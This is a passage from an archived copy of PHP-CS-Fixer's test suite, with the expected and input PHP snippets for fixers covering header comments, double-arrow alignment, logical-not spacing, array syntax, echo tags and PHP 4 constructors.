            array("<?php\nnamespace X;"),
            array("<?php\nnamespace X;", "<?php\n\n\n\nnamespace X;"),
            array("<?php\r\nnamespace X;"),
            array("<?php\r\nnamespace X;", "<?php\r\n\r\n\r\n\r\nnamespace X;"),
        );
    }

    public function testFixExampleWithComment()
    {
        $expected = <<<'EOF'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */
namespace Symfony\CS\Fixer\Contrib;
EOF;

        $input = <<<'EOF'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;
EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/LogicalNotOperatorsWithSpacesFixerTest.php000066600000003165151456236460025122 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Javier Spagnoletti <phansys@gmail.com>
 */
class LogicalNotOperatorsWithSpacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $i = 0; $i++; ++$i; $foo = ! false || ( ! true);',
                '<?php $i = 0; $i++; ++$i; $foo = !false || (!true);',
            ),
            array(
                '<?php $i = 0; $i--; --$i; $foo = ! false || ($i && ! true);',
                '<?php $i = 0; $i--; --$i; $foo = !false || ($i && !true);',
            ),
            array(
                '<?php $i = 0; $i--; $foo = ! false || ($i && ! /* some comment */true);',
                '<?php $i = 0; $i--; $foo = !false || ($i && !/* some comment */true);',
            ),
            array(
                '<?php $i = 0; $i--; $foo = ! false || ($i && !    true);',
                '<?php $i = 0; $i--; $foo = !false || ($i && !    true);',
            ),
            array(
                '<?php $i = 0; $i--; $foo = ! false || ($i &&    !    true);',
                '<?php $i = 0; $i--; $foo = !false || ($i &&    !    true);',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/HeaderCommentFixerTest.php000066600000007612151456236460021711 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Fixer\Contrib\HeaderCommentFixer;
use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class HeaderCommentFixerTest extends AbstractFixerTestBase
{
    protected static $savedHeader;
    protected static $testHeader = <<<EOH
This file is part of the PHP CS utility.

(c) Fabien Potencier <fabien@symfony.com>

This source file is subject to the MIT license that is bundled
with this source code in the file LICENSE.
EOH;

    protected function setUp()
    {
        parent::setUp();
        self::$savedHeader = HeaderCommentFixer::getHeader();
        HeaderCommentFixer::setHeader(self::$testHeader);
    }

    protected function tearDown()
    {
        HeaderCommentFixer::setHeader(self::$savedHeader);
        parent::tearDown();
    }

    public function testFixWithPreviousHeader()
    {
        $expected = <<<'EOH'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

phpinfo();
EOH;

        $input = <<<'EOH'
<?php



/*
 * Previous Header
 */

phpinfo();
EOH;
        $this->makeTest($expected, $input);
    }

    public function testFixWithoutPreviousHeader()
    {
        $expected = <<<'EOH'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

phpinfo();
EOH;

        $input = <<<'EOH'
<?php



phpinfo();
EOH;
        $this->makeTest($expected, $input);
    }

    public function testFixWithClassDocblock()
    {
        $expected = <<<'EOH'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

/**
 * @author Antonio J. García Lagar <aj@garcialagar.es>
 */
class Foo
{
}
EOH;

        $input = <<<'EOH'
<?php
/**
 * @author Antonio J. García Lagar <aj@garcialagar.es>
 */
class Foo
{
}
EOH;

        $this->makeTest($expected, $input);
    }

    public function testFixRemovePreviousHeader()
    {
        HeaderCommentFixer::setHeader('');
        $expected = <<<'EOH'
<?php

phpinfo();
EOH;

        $input = <<<'EOH'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

phpinfo();
EOH;

        $this->makeTest($expected, $input);
    }

    public function testFixAddHeaderToEmptyFile()
    {
        $expected = <<<'EOH'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */


EOH;

        $input = "<?php\n";
        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provideDoNotTouchCases
     */
    public function testDoNotTouch($expected)
    {
        $this->makeTest($expected);
    }

    public function provideDoNotTouchCases()
    {
        return array(
            array("<?php\nphpinfo();\n?>\n<?"),  // testFixDoNotTouchFilesWithSeveralOpenTags
            array(" <?php\nphpinfo();\n"),       // testFixDoNotTouchFilesNotStartingWithOpenTag
            array("<?php\nphpinfo();\n?><hr/>"), // testFixDoNotTouchFilesWithInlineHtml
            array("  <?php\n"),
            array('<?= 1?>'),
            array('<?= 1?><?php'),
            array("<?= 1?>\n<?php"),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/AlignDoubleArrowFixerTest.php000066600000034254151456236460022400 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 */
class AlignDoubleArrowFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
                switch ($a) {
                    case "prod":
                        break;
                }
                ',
            ),
            array(
                '<?php
    $array = array(
        "closure" => function ($param1, $param2) {
            return;
        }
    );',
            ),
            array(
                '<?php
    return new JsonResponse(array(
        "result" => "OK",
        "html"   => 1, array(
            "foo"    => "bar",
            "foofoo" => array(
                "a"  => 1,
                "b"  => 2
            )
        ),)
    );',
                '<?php
    return new JsonResponse(array(
        "result" => "OK",
        "html" => 1, array(
            "foo" => "bar",
            "foofoo" => array(
                "a" => 1,
                "b"  =>  2
            )
        ),)
    );',
            ),
            array(
                '<?php
    return new JsonResponse([
        "result" => "OK",
        "html"   => renderView("views/my_view.html.twig", array(
            "foo"    => "bar",
            "foofoo" => 43,
        )),
    ]);',
                '<?php
    return new JsonResponse([
        "result" => "OK",
        "html" =>    renderView("views/my_view.html.twig", array(
            "foo" => "bar",
            "foofoo" => 43,
        )),
    ]);',
            ),
            array(
                '<?php
    return new JsonResponse([
        "result" => "OK",
        "html"   => renderView("views/my_view.html.twig", [
            "foo"    => "bar",
            "foofoo" => 42,
        ]),
        "baz" => "OK",
    ]);',
                '<?php
    return new JsonResponse([
        "result" => "OK",
        "html" =>    renderView("views/my_view.html.twig", [
            "foo" =>   "bar",
            "foofoo" =>    42,
        ]),
        "baz" => "OK",
    ]);',
            ),
            array(
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => array(
            [
                "baz"     => "Test",
                "bazaa"   => $a->{"Test"},
                "bazaa"   => $a["Test"],
                "bazaaaa" => b("Test"),
            ]
        ),
        "bar"  => array(),
    ];',
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => array(
            [
                "baz" => "Test",
                "bazaa" => $a->{"Test"},
                "bazaa" => $a["Test"],
                "bazaaaa" => b("Test"),
            ]
        ),
        "bar"  => array(),
    ];',
            ),
            array(
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => [array("baz" => "Test")],
        "bar"  => array(),
    ];
    $data = array(
        "foo"  => "Bar",
        "main" => array("baz" => "Test"),
        "bar"  => array(),
    );
    $var = [];
    foreach ($foo as $i => $bar) {
        $var[] = /* Comment */ [$i => $bar];
    }',
            ),
            array(
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => [array("baz" => "Test")],
        "bar"  => array(),
    ];',
            ),
            array(
                '<?php
    $data = array(
        "foo"  => "Bar",
        "main" => array("baz" => "Test"),
        "bar"  => array(),
    );',
            ),
            array(
                '<?php
    $data = array(
        "foo"  => "Bar",
        "main" => array(array("baz" => "Test")),
        "bar"  => array(),
    );',
            ),
            array(
                '<?php
    $var = [];
    foreach ($foo as $i => $bar) {
        $var[] = /* Comment */ [$i => $bar];
    }',
            ),
            array(
                '<?php
    $var = [];
    foreach ($foo as $i => $bar) {
        $var[] = [$i => $bar];
    }',
            ),
            array(
                '<?php
    $var = [];
    foreach ([1 => 2] as $k => $v) {
        $var[] = [$i => $bar];
    }',
            ),
            array(
                '<?php
    $var = [];
    foreach (fncCall() as $k => $v){
        $var[] = [$i => $bar];
    }',
            ),
            array(
                '<?php
    $var = [];
    foreach ($foo as $bar) {
        $var[] = [
            $i    => $bar,
            $iaaa => $bar,
        ];
    }',
            ),
            array(
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => [["baz" => "Test", "bar" => "Test2"]],
        "bar"  => [],
    ];',
            ),
            array(
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => ["baz" => "Test"],
        "bar"  => [],
    ];',
            ),
            array(
                '<?php
    $a = [
        0              => 1,
        10 /*Comment*/ => [
            1  => 2,
            22 => 3,
        ],
        100 => [
            1  => 2,
            22 => 3,
        ]
    ];',
                '<?php
    $a = [
        0  => 1,
        10 /*Comment*/ => [
            1  => 2,
            22 => 3,
        ],
        100 => [
            1  => 2,
            22 => 3,
        ]
    ];',
            ),
            array(
                '<?php
    $a = array(
        0  => 1,
        10 => array(
            1  => 2,
            22 => 3,
        ),
        100 => array(
            1  => 2,
            22 => 3,
        )
    );',
            ),
            array(
                '<?php
    $arr = array(
        $a    => 1,
        $bbbb => \'
        $cccccccc = 3;
        \',
    );',
                '<?php
    $arr = array(
        $a => 1,
        $bbbb => \'
        $cccccccc = 3;
        \',
    );',
            ),
            array(
                '<?php
    $arr = [
        $a    => 1,
        $bbbb => \'
        $cccccccc = 3;
        \',
    ];',
                '<?php
    $arr = [
        $a => 1,
        $bbbb => \'
        $cccccccc = 3;
        \',
    ];',
            ),
            array(
                '<?php
    foreach($arr as $k => $v){
        $arr = array($k => 1,
            $a          => 1,
            $bbbb       => \'
            $cccccccc = 3;
            \',
        );
    }',
            ),
            array(
                '<?php
    $a = array(
        10    => 11,
        20    => 22,
        30    => 33,
        40
            =>
                44,
    );',
                '<?php
    $a = array(
        10    =>    11,
        20  =>    22,
        30=>33,
        40
            =>
                44,
    );',
            ),
            array(
                '<?php
    return array(
        " "    => "",    "\t"    => "",
        "\n"   => "", "\r"   => "",
        "\0"   => "", "\x0B"    => "",
    );',
                '<?php
    return array(
        " "   => "",    "\t"    => "",
        "\n"   => "", "\r"   => "",
        "\0"  => "", "\x0B"    => "",
    );',
            ),
            array(
                '<?php
    return $this->grabAttribsBeforeToken(
        $tokens,
        $index,
        $tokenAttribsMap,
        array(
            "abstract"   => null,
            "final"      => null,
            "visibility" => new Token(array(T_PUBLIC, "public")),
            "static"     => null,
        )
    );',
                '<?php
    return $this->grabAttribsBeforeToken(
        $tokens,
        $index,
        $tokenAttribsMap,
        array(
            "abstract" => null,
            "final" => null,
            "visibility" => new Token(array(T_PUBLIC, "public")),
            "static" => null,
        )
    );',
            ),
            array(
                '<?php
    return array(
        self::STATUS_UNKNOWN    => array("symbol" => "?", "description" => "unknown"),
        self::STATUS_INVALID    => array("symbol" => "III", "description" => "invalid file syntax, file ignored"),
    );',
                '<?php
    return array(
        self::STATUS_UNKNOWN => array("symbol" => "?", "description" => "unknown"),
        self::STATUS_INVALID    => array("symbol" => "III", "description" => "invalid file syntax, file ignored"),
    );',
            ),
            array(
                '<?php
    $array = array(
        "bazab" => b(array(
            1     => 2,
            5     => [
                6     => 7,
                8     => 9,
            ],
            3       => 4,
            10      => 11,
        )),
    );',
                '<?php
    $array = array(
        "bazab" => b(array(
            1 => 2,
            5     => [
                6 => 7,
                8     => 9,
            ],
            3    => 4,
            10      => 11,
        )),
    );',
            ),
            array(
                '<?php
    Foo::test()->aaa(array(1 => 2))->bbb("a", "b");
',
            ),
            array(
                '<?php
    $inflect_male = array(
        "aitė\b" => "as",
        "ytė\b"  => "is",
        "iūtė\b" => "ius",
        "utė\b"  => "us",
    );',
                '<?php
    $inflect_male = array(
        "aitė\b" => "as",
        "ytė\b" => "is",
        "iūtė\b" => "ius",
        "utė\b" => "us",
    );',
            ),
            array(
                '<?php
                $formMapper
                    ->add(\'foo\', null, [\'required\' => false])
                    ->add(\'dummy_field\', null, [\'required\' => false])
                ;
                ',
            ),
            array(
                '<?php
                $formMapper
                    ->add(\'foo\', null, array(\'required\' => false))
                    ->add(\'dummy_field\', null, array(\'required\' => false))
                ;
                ',
            ),
            array(
                '<?php
    $dummy001 = $this->get("doctrine")->getRepository("AppBundle:Entity")->findBy(["server1" => $object], ["addedAt" => "DESC"], 5);
    $foobar = $this->getDoctrine()->getRepository("AppBundle:Entity")->findBy(["server2" => $object], ["checkedAt" => "desc"], 50);
    ',
            ),
            array(
                '<?php
    $dummy001 = $this->get("doctrine")->getRepository("AppBundle:Entity")->findBy(array("server1" => $object), array("addedAt" => "DESC"), 5);
    $foobar = $this->getDoctrine()->getRepository("AppBundle:Entity")->findBy(array("server2" => $object), array("checkedAt" => "desc"), 50);
    ',
            ),
            array(
                '<?php
    $dummy001 = $this->get("doctrine")->getRepository("AppBundle:Entity")->findBy($foo[123]);
    $foobar = $this->getDoctrine()->getRepository("AppBundle:Entity")->findBy($foo[123]);
    ',
            ),
            array(
                '<?php
    $dummy001 = $this->get("doctrine")->getRepository("AppBundle:Entity")->findBy([1, 2, 3]);
    $foobar = $this->getDoctrine()->getRepository("AppBundle:Entity")->findBy([1, 2, 3]);
    ',
            ),
            array(
                '<?php
    $dummy001 = $this->get("doctrine")->getRepository("AppBundle:Entity")->findBy((1 + 2));
    $foobar = $this->getDoctrine()->getRepository("AppBundle:Entity")->findBy((1 + 2));
    ',
            ),
            array(
                '<?php
    $dummy001 = $this->get("doctrine")->getRepository("AppBundle:Entity")->findBy(array(1, 2));
    $foobar = $this->getDoctrine()->getRepository("AppBundle:Entity")->findBy(array(1, 2));
    ',
            ),
            array(
                '<?php

    function foo() {}

    $bar = 42;

    $foo = [
        "test123" => "foo",
        "foo"     => $bar[123],
        "a"       => foo(),
        "b"       => 1,
    ];
    ',
                '<?php

    function foo() {}

    $bar = 42;

    $foo = [
        "test123" => "foo",
        "foo" => $bar[123],
        "a" => foo(),
        "b" => 1,
    ];
    ',
            ),
            array(
                '<?php
    return array(
        self::STATUS_UNKNOWN    => array("symbol" => "?", "description" => "unknown"),
        self::STATUS_INVALID    => array("symbol123" => "III", "description" => "invalid file syntax, file ignored"),
    );',
                '<?php
    return array(
        self::STATUS_UNKNOWN => array("symbol" => "?", "description" => "unknown"),
        self::STATUS_INVALID    => array("symbol123" => "III", "description" => "invalid file syntax, file ignored"),
    );',
            ),
            array(
                '<?php
    return array(
        self::STATUS_UNKNOWN    => array((1+11)=> "?", "description" => "unknown"),
        self::STATUS_INVALID    => array((2+3)=> "III", "description" => "invalid file syntax, file ignored"),
    );',
                '<?php
    return array(
        self::STATUS_UNKNOWN => array((1+11)=> "?", "description" => "unknown"),
        self::STATUS_INVALID    => array((2+3)=> "III", "description" => "invalid file syntax, file ignored"),
    );',
            ),
            array(
                '<?php
    return [
        self::STATUS_UNKNOWN    => ["symbol" => "?", "description" => "unknown"],
        self::STATUS_INVALID    => ["symbol123" => "III", "description" => "invalid file syntax, file ignored"],
    ];',
                '<?php
    return [
        self::STATUS_UNKNOWN => ["symbol" => "?", "description" => "unknown"],
        self::STATUS_INVALID    => ["symbol123" => "III", "description" => "invalid file syntax, file ignored"],
    ];',
            ),
            array(
                '<?php
    return [
        self::STATUS_UNKNOWN    => [(1+11)=> "?", "description" => "unknown"],
        self::STATUS_INVALID    => [(2+3)=> "III", "description" => "invalid file syntax, file ignored"],
    ];',
                '<?php
    return [
        self::STATUS_UNKNOWN => [(1+11)=> "?", "description" => "unknown"],
        self::STATUS_INVALID    => [(2+3)=> "III", "description" => "invalid file syntax, file ignored"],
    ];',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/LogicalNotOperatorsWithSuccessorSpaceFixerTest.php000066600000003270151456236460026626 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Javier Spagnoletti <phansys@gmail.com>
 */
class LogicalNotOperatorsWithSuccessorSpaceFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $i = 0; $i++; $foo = ! false || (! true || ! ! false && (2 === (7 -5)));',
                '<?php $i = 0; $i++; $foo = !false || (!true || !!false && (2 === (7 -5)));',
            ),
            array(
                '<?php $i = 0; $i--; $foo = ! false || ($i && ! true);',
                '<?php $i = 0; $i--; $foo = !false || ($i && !true);',
            ),
            array(
                '<?php $i = 0; $i--; $foo = ! false || ($i && ! /* some comment */true);',
                '<?php $i = 0; $i--; $foo = !false || ($i && !/* some comment */true);',
            ),
            array(
                '<?php $i = 0; $i--; $foo = ! false || ($i && ! true);',
                '<?php $i = 0; $i--; $foo = !false || ($i && !    true);',
            ),
            array(
                '<?php $i = 0; $i--; $foo = ! false || ($i && ! /* some comment */ true);',
                '<?php $i = 0; $i--; $foo = !false || ($i && !  /* some comment */ true);',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/LongArraySyntaxFixerTest.php000066600000004405151456236460022300 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class LongArraySyntaxFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            array('<?php $x = array();', '<?php $x = [];'),
            array('<?php $x = array(); $y = array();', '<?php $x = []; $y = [];'),
            array('<?php $x = array( );', '<?php $x = [ ];'),
            array('<?php $x = array(\'foo\');', '<?php $x = [\'foo\'];'),
            array('<?php $x = array( \'foo\' );', '<?php $x = [ \'foo\' ];'),
            array('<?php $x = array(($y ? true : false));', '<?php $x = [($y ? true : false)];'),
            array('<?php $x = array(($y ? array(true) : array(false)));', '<?php $x = [($y ? [true] : [false])];'),
            array('<?php $x = array(($y ? array(true) : array( false )));', '<?php $x = [($y ? [true] : [ false ])];'),
            array('<?php $x = array(($y ? array("t" => true) : array("f" => false)));', '<?php $x = [($y ? ["t" => true] : ["f" => false])];'),
            array('<?php print_r(array(($y ? true : false)));', '<?php print_r([($y ? true : false)]);'),
            array('<?php $x = array(array(array()));', '<?php $x = [[[]]];'),
            array('<?php $x = array(array(array())); $y = array(array(array()));', '<?php $x = [[[]]]; $y = [[[]]];'),
            array('<?php function(array $foo = array()) {};', '<?php function(array $foo = []) {};'),
            array('<?php $x = array(1, 2)[0];', '<?php $x = [1, 2][0];'),
            array('<?php $x[] = 1;'),
            array('<?php $x[ ] = 1;'),
            array('<?php $x[2] = 1;'),
            array('<?php $x["a"] = 1;'),
            array('<?php $x = func()[$x];'),
            array('<?php $x = "foo"[$x];'),
            array('<?php $text = "foo ${aaa[123]} bar $bbb[0] baz";'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/ShortEchoTagFixerTest.php000066600000002676151456236460021535 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Vincent Klaiber <hello@vinkla.com>
 */
class ShortEchoTagFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideClosingTagExamples
     */
    public function testOneLineFix($expected, $input = null)
    {
        if (50400 > PHP_VERSION_ID && !ini_get('short_open_tag')) {
            // On PHP <5.4 short echo tag is parsed as T_INLINE_HTML if short_open_tag is disabled
            // On PHP >=5.4 short echo tag is always parsed properly regardless of short_open_tag  option
            $this->markTestSkipped('PHP 5.4 (or later) or short_open_tag option is required.');
        }

        $this->makeTest($expected, $input);
    }

    public function provideClosingTagExamples()
    {
        return array(
            array('<?php echo \'Foo\';', '<?= \'Foo\';'),
            array('<?php echo \'Foo\'; ?> PLAIN TEXT', '<?= \'Foo\'; ?> PLAIN TEXT'),
            array('PLAIN TEXT<?php echo \'Foo\'; ?>', 'PLAIN TEXT<?= \'Foo\'; ?>'),
            array('<?php echo \'Foo\'; ?> <?php echo \'Bar\'; ?>', '<?= \'Foo\'; ?> <?= \'Bar\'; ?>'),
            array('<?php echo foo();', '<?=foo();'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/EchoToPrintFixerTest.php000066600000006211151456236460021366 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Sullivan Senechal <soullivaneuh@gmail.com>
 *
 * @internal
 */
final class EchoToPrintFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
                print "test";
                ',
            ),
            array(
                '<?php
                print ("test");
                ',
            ),
            array(
                '<?php
                print("test");
                ',
            ),
            // echo can take multiple parameters (although such usage is rare) while print can take one argument
            // http://www.w3schools.com/php/php_echo_print.asp
            array(
                '<?php
                echo "This ", "string ", "was ", "made ", "with multiple parameters.";
                ',
            ),
            array(
                '<?php
                print "test";
                ',
                '<?php
                echo "test";
                ',
            ),
            array(
                '<?php
                print ("test");
                ',
                '<?php
                echo ("test");
                ',
            ),
            array(
                '<?php
                print("test");
                ',
                '<?php
                echo("test");
                ',
            ),
            array(
                '<?php
                print foo(1, 2);
                ',
                '<?php
                echo foo(1, 2);
                ',
            ),
            array(
                '<?php
                print ["foo", "bar", "baz"][$x];
                ',
                '<?php
                echo ["foo", "bar", "baz"][$x];
                ',
            ),
            array(
                '<?php
                print $foo ? "foo" : "bar";
                ',
                '<?php
                echo $foo ? "foo" : "bar";
                ',
            ),
            array(
                "<?php print 'foo' ?>...<?php echo 'bar', 'baz' ?>",
                "<?php echo 'foo' ?>...<?php echo 'bar', 'baz' ?>",
            ),
            array(
                '<?php
                if ($foo) {
                    print "foo";
                }
                print "bar";
                ',
                '<?php
                if ($foo) {
                    echo "foo";
                }
                echo "bar";
                ',
            ),
            array(
                "<div><?php print 'foo' ?></div>",
                "<div><?php echo 'foo' ?></div>",
            ),
            array(
                '<?=$foo?>',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/Php4ConstructorFixerTest.php000066600000036403151456236460022257 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Matteo Beccati <matteo@beccati.com>
 */
class Php4ConstructorFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function testFix70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide70Cases()
    {
        return array(
            array(
                '<?php $a = new class {};',
            ),
            array(
                '<?php $a = new class {}?>',
            ),
            array(
                '<?php
                    $a = new Foo() <=> 1;
                    $a = new Foo <=> 1;
                    $a = new class() {};
                    $a = new class() implements Foo{};
                    $a = new class() /**/ extends Bar1{};
                    $a = new class()  extends Bar2 implements Foo{};
                    $a = new class()    extends Bar3 implements Foo, Foo2{};
                    $a = new class() {};
                    $a = new class {};
                    $a = new class implements Foo{};
                    $a = new class /**/ extends Bar1{};
                    $a = new class  extends Bar2 implements Foo{};
                    $a = new class    extends Bar3 implements Foo, Foo2{};
                    $a = new class {}?>
                ',
            ),
        );
    }

    public function testNamespaces()
    {
        $expected = <<<'EOF'
<?php

namespace Baz\Qux;

class Foo
{
    public function __construct($bar)
    {
        var_dump(1);
    }

    public function Foo($bar)
    {
        var_dump(2);
    }
}
EOF;

        $this->makeTest($expected);
    }

    public function testNamespaces2()
    {
        $expected = <<<'EOF'
<?php

namespace Baz\Qux
{
    class Foo
    {
        public function __construct($bar)
        {
            var_dump(1);
        }

        public function Foo($bar)
        {
            var_dump(2);
        }
    }

    class Bar
    {
        public function Bar()
        {
            var_dump(3);
        }
    }
}

class Foo
{
    public function __construct($bar)
    {
        var_dump(2);
    }
}
EOF;

        $input = <<<'EOF'
<?php

namespace Baz\Qux
{
    class Foo
    {
        public function __construct($bar)
        {
            var_dump(1);
        }

        public function Foo($bar)
        {
            var_dump(2);
        }
    }

    class Bar
    {
        public function Bar()
        {
            var_dump(3);
        }
    }
}

class Foo
{
    public function Foo($bar)
    {
        var_dump(2);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testNamespaceGlobal()
    {
        $expected = <<<'EOF'
<?php

namespace {
    class Foo
    {
        function __construct($bar)
        {
            var_dump(1);
        }
    }
}
EOF;

        $input = <<<'EOF'
<?php

namespace {
    class Foo
    {
        function Foo($bar)
        {
            var_dump(1);
        }
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testPhp5Only()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    function __construct($bar)
    {
        var_dump(1);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected);
    }

    public function testPhp4Only()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    /**
     * Constructor
     */
    function __construct($bar)
    {
        var_dump(1);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo
{
    /**
     * Constructor
     */
    function foO($bar)
    {
        var_dump(1);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testBothTheRightWay1()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    /**
     * Constructor
     */
    public function __construct()
    {
        var_dump(1);
    }

    public function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo
{
    /**
     * Constructor
     */
    public function __construct()
    {
        var_dump(1);
    }

    /**
     * PHP-4 Constructor
     */
    function Foo()
    {
        // Call PHP5!
        $this->__construct();
    }

    public function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testBothTheRightWay2()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    /**
     * Constructor
     */
    public function __construct($bar)
    {
        var_dump(1);
    }

    public function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo
{
    /**
     * Constructor
     */
    public function __construct($bar)
    {
        var_dump(1);
    }

    /**
     * PHP-4 Constructor
     */
    function Foo($bar)
    {
        // Call PHP5!
        $this->__construct($bar);
    }

    public function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testBothTheRightWay3()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    /**
     * Constructor
     */
    public function __construct($bar = 1, $baz = null)
    {
        var_dump(1);
    }

    public function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo
{
    /**
     * Constructor
     */
    public function __construct($bar = 1, $baz = null)
    {
        var_dump(1);
    }

    /**
     * PHP-4 Constructor
     */
    function Foo($bar = 1, $baz = null)
    {
        // Call PHP5!
        $this->__construct($bar, $baz);
    }

    public function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testBothTheOtherWayAround()
